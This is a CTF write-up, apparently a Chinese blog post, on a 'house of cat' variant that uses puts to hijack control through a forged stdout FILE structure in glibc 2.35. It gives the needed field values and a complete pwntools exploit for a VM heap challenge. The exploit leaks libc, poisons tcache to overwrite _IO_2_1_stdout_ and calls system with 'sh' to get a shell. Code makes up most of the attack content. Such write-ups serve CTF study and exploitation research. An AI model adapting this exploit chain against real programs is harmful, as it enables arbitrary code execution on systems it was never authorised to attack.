0%

house of cat在puts中的利用

笔者在复现 ccsssc18 的 vm pwn时,偶然发现了另一种可以通过puts触发 house of cat 调用链的方法,故做此笔记

利用条件

一次任意地址写大堆块

能够调用puts函数

漏洞环境

glibc 2.35-0ubuntu3.8_amd64

发现过程

在笔者调试puts函数的过程中,偶然发现了puts函数中存在这样一段代码

先取出 _IO_2_1_stdout_ 给 r13,也就是 _IO_2_1_stdout_flags,然后将其和0x8000,即和 _IO_USER_LOCK 相与,若相与后eax为0x8000则跳转

flags = 0x00008000 就是为了绕过 _IO_acquire_lock

house-of-dog-1

源码如下

house-of-cat-puts-7

house-of-cat-puts-8

跳转后来到这里

取 [rdx + 0xc0] 赋值给 eax,即为IO_file结构体中的 mode 字段

house-of-dog-2

此时,我们设置mode字段为0,就可一路畅通,执行到以下代码

puts+159 就是吧 vtable 取出来,然后call [vtable+0x38]

从这里开始即为house of cat的调用链,在此之前,我已将vtable 劫持为 _IO_wfile_jumps+0x10,所以这里所显示的即为_IO_wfile_seekoff

house-of-dog-3

house-of-dog-4

在源码中如下,其实就相当于把 _IO_sputn 改成了 _IO_wfile_seekoff

house-of-cat-puts-9

还有一个需要注意的点,在 house of cat 中也有提及,在下图代码中需要满足以下条件

1
2
3
4
5
_wide_data->_IO_read_ptr != _wide_data->_IO_read_end
_wide_data->_IO_write_ptr > _wide_data->_IO_write_base

如果_wide_data=fake_io_addr+0x30,那么就等同于
fake_IO_FILE->_IO_save_base < fake_IO_FILE->_IO_backup_base

house-of-dog-6

根据house of cat伪造好结构体后,调用链如下

_IO_puts —-> _IO_wfile_seekoff —-> _IO_switch_to_wget_mode

最终在 _IO_switch_to_wget_mode 执行我们的代码

house-of-dog-5

最终构造的 fake_IO_FILE 如下,大致看着和house of cat差不多,但是还是有些出入

如下

  • flags = 0x00008000

  • _IO_backup_base > _IO_save_base (1>0)

  • 无需设置 _lock字段为可写地址

  • mode = 0

注:我在下方写为 flags = 0x01018001 是因为最后执行system函数时,如果有\x00字节,system就执行不到sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
fake_io_addr =  _IO_2_1_stdout_ # 伪造的fake_IO结构体的地址
fake_IO_FILE = b''
fake_IO_FILE += p32(0x01018001)+b";sh\x00"
fake_IO_FILE = fake_IO_FILE.ljust(0x50,b'\x00')
fake_IO_FILE += p64(1) #_IO_backup_base=rdx
fake_IO_FILE += p64(system) #_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0xa0,b'\x00')
fake_IO_FILE += p64(fake_io_addr+0x30) #_wide_data,rax1 [rax+0xe0]
fake_IO_FILE = fake_IO_FILE.ljust(0xc0,b'\x00')
fake_IO_FILE += p64(0) #mode=0
fake_IO_FILE = fake_IO_FILE.ljust(0xd8,b'\x00')
fake_IO_FILE += p64(libc_base+libc.sym['_IO_wfile_jumps']+0x10)
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # #rax2 -> to make [rax+0x18] = call addr

exp

全程跟着这位师傅完成的逆向,真的是一场酣畅淋漓的逆向,膜拜大佬

文章 - 记一次题型VM-软件系统安全赛-pwn- - 先知社区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import *

elf = ELF('../ctf_file/vm')
context.binary = elf
libc = elf.libc

def start():
if args.R:
return remote("",)
io = process(elf.path)
if args.G:
gdb.attach(io, SET_TERMINAL+"b _IO_switch_to_wget_mode\nb puts\nb read")
return io

def lg(s):
return info(f'\033[1;33m{f"{s}-->0x{eval(s):02x}"}\033[0m')

r = lambda a: io.recv(a)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
sla = lambda a,b: io.sendlineafter(a,b)

io = start()

def case(fun1,fun2):
return p8((fun2 << 2) | (fun1 & 3))

def set_reg(reg,val):
return case(3,3)+p8(reg)+p64(val)

def call_read(fd,offset,size):
data = set_reg(0,fd)
data += set_reg(1,offset)
data += set_reg(2,size)
data += case(0,0x35) + p8(0)*2 + p8(0)
return data

def call_write(fd,offset,size):
data = set_reg(0,fd)
data += set_reg(1,offset)
data += set_reg(2,size)
data += case(0,0x35) + p8(0)*2 + p8(1)
return data

def add(size):
data = set_reg(0,size)
data += case(0,0x33) + p8(0)*2 +p8(3)
return data

def free(idx):
data = set_reg(0,idx)
data += case(0,0x33) + p8(0)*2 + p8(4)
return data

def printf():
return call_write(1,18,8)

def edit(idx,size):
data = printf()
data += call_read(0,0x1000,size)
data += set_reg(0,idx)
data += set_reg(1,0x1000)
data += set_reg(2,size)
data += case(0,0x33) + p8(0)*2 + p8(5)
return data

def show(idx,size):
data = set_reg(0,idx)
data += set_reg(1,0x2000)
data += set_reg(2,size)
data += case(0,0x33) + p8(0)*2 + p8(6)
data += call_write(1,0x2000,size)
return data

# leak libc
pd = add(0x420) # 0
pd += add(0x3f8) # 1
pd += add(0x3f0) # 2
pd += free(0)
pd += show(0,0x6)

# attack tcache
pd += free(1)
pd += free(2)
pd += show(1,5)
pd += edit(2,0x10)
pd += add(0x3f0) # 3
pd += add(0x3f0) # 4

# fake_IO
pd += edit(4,0x300)

sla("Please input your opcodes:\n",pd)

libc_base = u64(r(6).ljust(8,b'\x00')) - 0x21ace0
lg("libc_base")
key = u64(r(5).ljust(8,b'\x00'))
heap_base = key << 12
lg("heap_base")
_IO_2_1_stdout_ = libc_base + libc.symbols['_IO_2_1_stdout_']
system = libc_base + libc.symbols['system']
sa("opcodes:",p64(_IO_2_1_stdout_^key))

fake_io_addr = _IO_2_1_stdout_ # 伪造的fake_IO结构体的地址
fake_IO_FILE = b''
fake_IO_FILE += p32(0x01018001)+b";sh\x00"
fake_IO_FILE = fake_IO_FILE.ljust(0x50,b'\x00')
fake_IO_FILE += p64(1) #_IO_backup_base=rdx
fake_IO_FILE += p64(system) #_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0xa0,b'\x00')
fake_IO_FILE += p64(fake_io_addr+0x30) #_wide_data,rax1 [rax+0xe0]
fake_IO_FILE = fake_IO_FILE.ljust(0xc0,b'\x00')
fake_IO_FILE += p64(0) #mode=0
fake_IO_FILE = fake_IO_FILE.ljust(0xd8,b'\x00')
fake_IO_FILE += p64(libc_base+libc.sym['_IO_wfile_jumps']+0x10) # vtable=IO_wfile_jumps+0x10 FSOP改为IO_wfiel_jumps+0x30
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # #rax2 -> to make [rax+0x18] = call addr
sa("opcodes:",fake_IO_FILE)

io.interactive()
-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道